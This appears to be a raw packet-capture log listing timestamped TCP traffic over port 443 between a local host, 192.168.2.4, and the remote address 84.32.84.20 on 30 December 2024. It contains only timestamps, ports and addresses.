Dec 30, 2024 21:42:39.896845102 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896874905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896887064 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.896894932 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.896917105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.897485018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.897536993 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.897562027 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.897578955 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.897584915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.897608995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.898452997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.898474932 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.898498058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.898503065 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.898530006 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.898550987 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.898554087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.898561954 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.898602009 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.899399996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.899441957 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.900511980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.954880953 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.984522104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.984571934 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.984601021 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.984626055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.984632015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.984682083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.984702110 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.984734058 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985130072 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985192060 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985196114 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985207081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985230923 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985260010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985265017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985287905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985308886 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985564947 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985621929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985714912 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985740900 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985769033 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985778093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985793114 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985869884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985930920 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.985934973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.985977888 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.986567020 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.986599922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.986625910 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.986629009 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.986640930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.986695051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.986861944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.986998081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.987030983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.987056971 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.987061024 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.987081051 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.989367008 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.989455938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:39.989460945 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:39.989505053 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073473930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073523998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073635101 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073673010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073694944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073719025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073735952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073786020 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073787928 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073800087 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073824883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073843002 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.073914051 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.073965073 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074048042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074103117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074187040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074235916 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074325085 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074381113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074440002 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074470997 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074496984 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074503899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074527025 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074558973 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074748039 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074806929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.074914932 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.074970007 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078644991 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078701973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078712940 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078730106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078741074 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078753948 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078763962 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078768015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078783035 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078795910 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078834057 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078838110 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078881979 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078903913 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078943968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078963041 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.078965902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.078989983 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079009056 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079014063 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079061031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079199076 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079248905 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079255104 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079305887 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079425097 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079467058 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079476118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079478979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079493999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079507113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079550028 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079552889 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079562902 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079592943 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079596043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079623938 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079766989 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079844952 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.079849005 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.079899073 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.162262917 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162285089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162415028 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.162441015 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162492990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.162658930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162672043 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162740946 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.162745953 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162810087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.162950993 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.162964106 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163022995 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.163027048 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163069010 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.163289070 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163302898 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163371086 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.163374901 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163410902 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.163604975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163619995 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163685083 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.163690090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.163736105 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164201975 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164216042 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164283037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164288044 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164335966 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164535046 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164549112 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164612055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164617062 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164670944 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164844990 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164859056 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164906979 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164911985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.164998055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.164998055 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.251302958 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.251351118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.251648903 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.251681089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.251777887 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.252115011 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252135992 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252196074 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.252203941 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252243042 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.252372980 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252391100 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252440929 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.252448082 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252487898 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.252736092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252756119 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252820015 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.252826929 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.252871037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253050089 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253081083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253118038 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253123999 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253153086 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253173113 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253340960 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253360987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253429890 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253437996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253484011 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253726959 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253755093 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253817081 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.253823996 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.253868103 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.316598892 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.316628933 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.316740990 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.316780090 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.316840887 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.344516039 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.344537973 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.344729900 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.344753981 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.344767094 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.344789982 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.344805956 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.344811916 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.344858885 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.344890118 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.345129013 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345144987 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345206022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.345212936 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345256090 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.345403910 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345418930 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345496893 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.345503092 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345542908 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.345758915 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345773935 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345828056 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.345834970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.345873117 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.346052885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.346066952 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.346143961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.346149921 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.346184969 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.346209049 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.346270084 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.346285105 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.346354961 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.346363068 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.346404076 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.406439066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.406471968 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.406569958 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.406599998 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.406663895 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.433350086 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433371067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433583975 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.433608055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433656931 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433676004 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433787107 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.433794022 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433885098 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.433945894 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.433959007 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434005022 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434011936 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434051037 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434233904 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434247017 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434310913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434319019 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434354067 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434591055 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434609890 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434670925 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434678078 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434724092 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434851885 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434866905 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434936047 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.434942961 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.434981108 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.435204983 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.435221910 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.435259104 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.435266018 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.435293913 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.435317993 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.484204054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.494225979 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.494255066 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.494343996 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.494360924 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.494405031 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.505038977 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524002075 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524029970 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524096966 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524110079 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524121046 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524162054 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524468899 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524488926 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524524927 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524532080 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524553061 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524571896 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524815083 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524832010 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524871111 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524876118 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.524899006 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.524914980 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.525310040 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.525330067 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.525369883 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.525376081 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.525398016 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.525418997 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.525866985 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.525886059 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.525942087 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.525949001 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.525973082 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.525993109 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.526329994 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.526346922 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.526382923 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.526388884 CET	443	49744	84.32.84.20	192.168.2.4
Dec 30, 2024 21:42:40.526423931 CET	49744	443	192.168.2.4	84.32.84.20
Dec 30, 2024 21:42:40.526452065 CET	49744	443	192.168.2.4	84.32.84.20
